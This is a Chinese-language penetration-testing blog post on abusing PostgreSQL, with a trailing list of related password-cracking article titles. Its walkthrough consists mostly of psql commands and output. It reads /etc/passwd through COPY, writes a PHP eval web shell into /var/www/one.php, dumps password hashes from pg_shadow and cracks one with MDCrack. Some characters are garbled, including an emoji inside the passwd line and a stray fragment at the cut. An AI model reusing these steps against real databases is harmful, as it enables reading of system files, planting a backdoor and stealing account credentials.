postgresql读写文件和破解密码
1.通过copy读文件
mickey@pentest:~/Pentest/crack/mdcrack$ psql -h 127.0.0.1 -U postgres
用户 postgres 密码:
psql (8.4.2)
SSL connection (cipher: DHE-RSA-AES256-SHA, bits: 256)
Type “help” for help.
postgres=# create table file(line text);
CREATE TABLE
postgres=# copy file from “/etc/passwd” with delimiter “:”;
ERROR: extra data after last expected column
背景: COPY file, line 1: “root❌0:0:root:/root:/bin/bash”
失败,是由于delimiter的问题,如果要读的文件包含有你指定的delimiter,则会失败,
postgres=# create table file (line text);
CREATE TABLE
postgres=# copy file from “/etc/passwd” with delimiter E”t”;
COPY 47
postgres=# select * from file;
这次就成功了,用pg_read_file(),在实际渗透中不太现实,因为他限制目录访问了。
2.写一句话到web目录
postgres=# create table file(line text);
CREATE TABLE
postgres=# insert into file values (E”<?php eval($_POST[”mickey”]; ?>”);
INSERT 0 1
postgres=# copy file(line) to “/var/www/one.php”;
COPY 1
3.破解数据库账户
postgres=# SELECT usename, passwd FROM pg_shadow;
usename | passwd
———-+————————————-
postgres | md518d0d1643114d8b58e27c77600a1c658
(1 row)
加密算法为md5(password+username),以这个为例,密码为mickey,用户名为postgres,合并后为mickeypostgres,再经过md5加密后,就为18d0d1643114d8b58e27c77600a1c658
可以使用MDCRACK来破解
mickey@pentest:~/Pentest/crack/mdcrack$ wine MDCrack-sse.exe –algorithm=MD5 –append=postgres 18d0d1643114d8b58e27c77600a1c658< 4000 /p>- PostgreSQL pg_hba.conf 文件解析以及忘记密码的处理方法
- linux下zip文件密码破解Fcrackzip
- Python暴力破解ZIP文件密码
- WINPE的DOS工具箱删除sam文件方式破解xp开机密码
- postgresql密码文件.pgpass
- winRAR 密码暴力破解/清除压缩文件密码工具
- 破解打开Excel文件编辑的时候提示受保护输入密码
- Excel文件密码破解小工具
- Linux Redhat 破解密码FHS文件层级图
- 破解Excel密码保护文件
- PostgreSQL密码文件的设置
- Linux用户管理安全宝典:密码防破解与帐号文件保护 推荐
- 如何破解压缩文件密码-省时省力的方法
- Linux文件恢复与密码破解
- winRAR 密码暴力破解/清除压缩文件密码工具
- Linux 密码爆破 shadow 文件解密 破解
- Linux用户管理安全宝典:密码防破解与帐号文件保护(1)
- Windows系统密码文件的位置以及破解方法
- 破解Word文件密码保护的最简单方法
- 破解windows密码,破解sam文件(syskey加密)